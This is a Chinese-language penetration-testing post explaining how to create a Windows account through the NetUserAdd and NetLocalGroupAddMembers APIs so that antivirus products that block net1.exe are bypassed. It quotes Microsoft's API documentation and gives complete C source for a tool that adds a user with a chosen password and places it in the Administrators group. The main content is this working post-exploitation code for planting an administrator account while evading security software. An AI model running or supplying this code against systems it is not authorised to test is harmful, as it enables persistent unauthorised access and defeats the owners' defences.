通过API添加Windows用户

简介

在渗透测试过程中，如果需要白利用远程桌面等服务，往往我们还需要一个知道密码的windows账户，而这个账户通常直接由net1.exe直接添加(当然也可以直接pass the hash登录rdp，略略略)，而调用这个可执行文件往往会被第三方杀软直接拦截（略略略，defender是微软自己的，不拦合法功能），这样我们就需要想另外的办法添加用户。

分析过程

查文档&google(狗头)

调用NetUserAdd添加本地用户
调用NetLocalGroupAddMembers将用户添加到组

代码

微软文档解释了这个如何通过这个函数来添加操作系统账户，第一个参数servername指定了需要添加用户的主机名，传入NULL则为本地添加，第二个参数决定了第三个参数传入的结构体，通过这个函数我们可以在windows操作系统上添加账户。

NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  LPCWSTR servername,
  DWORD   level,
  LPBYTE  buf,
  LPDWORD parm_err
);

Value

Meaning

Specifies information about the user account. The buf parameter points to a USER_INFO_1 structure.

When you specify this level, the call initializes certain attributes to their default values. For more information, see the following Remarks section.

Specifies level one information and additional attributes about the user account. The buf parameter points to a USER_INFO_2 structure.

Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a USER_INFO_3 structure. Note that it is recommended that you use USER_INFO_4 instead.

Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a USER_INFO_4 structure.

Windows 2000: This level is not supported.

同理将该账户加入administrators组也是使用类似的函数，这里就不贴参数了。

NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
  LPCWSTR servername,
  LPCWSTR groupname,
  DWORD   level,
  LPBYTE  buf,
  DWORD   totalentries
);

完整代码

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    if (argc != 3)
    {
        
        fwprintf(stderr, L"Usage:./this.exe <username> <password>\n", argv[0]);
        exit(1);
    }

    ui.usri1_name = argv[1];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL,
        dwLevel,
        (LPBYTE)&ui,
        &dwError);

    if (nStatus == NERR_Success)
        fwprintf(stderr, L"User %s has been successfully added\n",argv[1]);

    else
        fprintf(stderr, "A system error has occurred: %d\n", nStatus);

    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = argv[1];

    NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

    if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){
        printf("Administrators added Successfully!");
    }
    else {
        printf("Administrators added Failed!");
    }
    return 0;
}

LINKS

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最后更新于4年前

简介

代码

NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  LPCWSTR servername,
  DWORD   level,
  LPBYTE  buf,
  LPDWORD parm_err
);